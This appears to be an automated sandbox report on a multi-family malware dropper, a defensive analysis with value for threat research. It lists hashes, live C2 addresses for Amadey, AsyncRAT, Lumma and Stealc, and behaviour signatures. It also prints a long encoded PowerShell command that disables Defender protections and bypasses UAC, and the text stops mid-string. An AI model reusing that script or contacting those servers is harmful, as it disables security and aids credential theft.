Overview

overview

10

Static

static

3

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 10:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    file.exe

  • Size

    3.1MB

  • MD5

    9aba31b7a6b0d1afa4b290557ad5b6fb

  • SHA1

    09d2f60eef3abb4c20394fd8369b32846456c533

  • SHA256

    9b1fad1eb049d54f44103ba67be774b96d2cfd82eeb5ec72aadd20ec29d846f8

  • SHA512

    a6df82bd55a8a45f5057fdc4ee9249fd11120854037157f5202ea282205798b309eb513ea62cec2de3e67ba2b7e64cbb3a852e3b57ddf361288c0843b039634f

  • SSDEEP

    98304:/JKXSj40TA0DywZAoxOYTdrylkhN/qeo:/JKX2/du6hQ

Score
10/10
amadeyasyncratgcleanerlummastealcstormkitty9c9aa5defaultstokcredential_accessdiscoveryevasionexecutionloaderpersistenceratspywarestealertrojan

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

205.209.109.10:4449

205.209.109.10:7723
Mutex

clgbfqzkkypxjps

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

lumma

C2

https://impend-differ.biz/api

https://print-vexer.biz/api

https://dare-curbys.biz/api

https://covery-mover.biz/api

https://formy-spill.biz/api

https://dwell-exclaim.biz/api

https://zinc-sneark.biz/api

https://se-blurry.biz/api

https://atten-supporse.biz/api

Extracted

Family

stealc

Botnet

stok

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Extracted

Family

lumma

C2

https://atten-supporse.biz/api

https://covery-mover.biz/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Stormkitty family
    stormkitty
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Async RAT payload 4 IoCs
    rat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs
    evasion
  • Downloads MZ/PE file
  • Uses browser remote debugging 2 TTPs 9 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 12 IoCs
  • Identifies Wine through registry keys 2 TTPs 10 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 13 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Kills process with taskkill 5 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 42 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3284
    • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4548
      • C:\Users\Admin\AppData\Local\Temp\1013644001\Z9Pp9pM.exe
        "C:\Users\Admin\AppData\Local\Temp\1013644001\Z9Pp9pM.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2200
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 224
          4⤵
          • Program crash
          PID:6304
      • C:\Users\Admin\AppData\Local\Temp\1013675001\H3tyh96.exe
        "C:\Users\Admin\AppData\Local\Temp\1013675001\H3tyh96.exe"
        3⤵
        • UAC bypass
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • System policy modification
        PID:228
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
            PID:3352
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
            4⤵
              PID:2028
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:1508
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1508 -s 968
                5⤵
                • Program crash
                PID:3076
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQA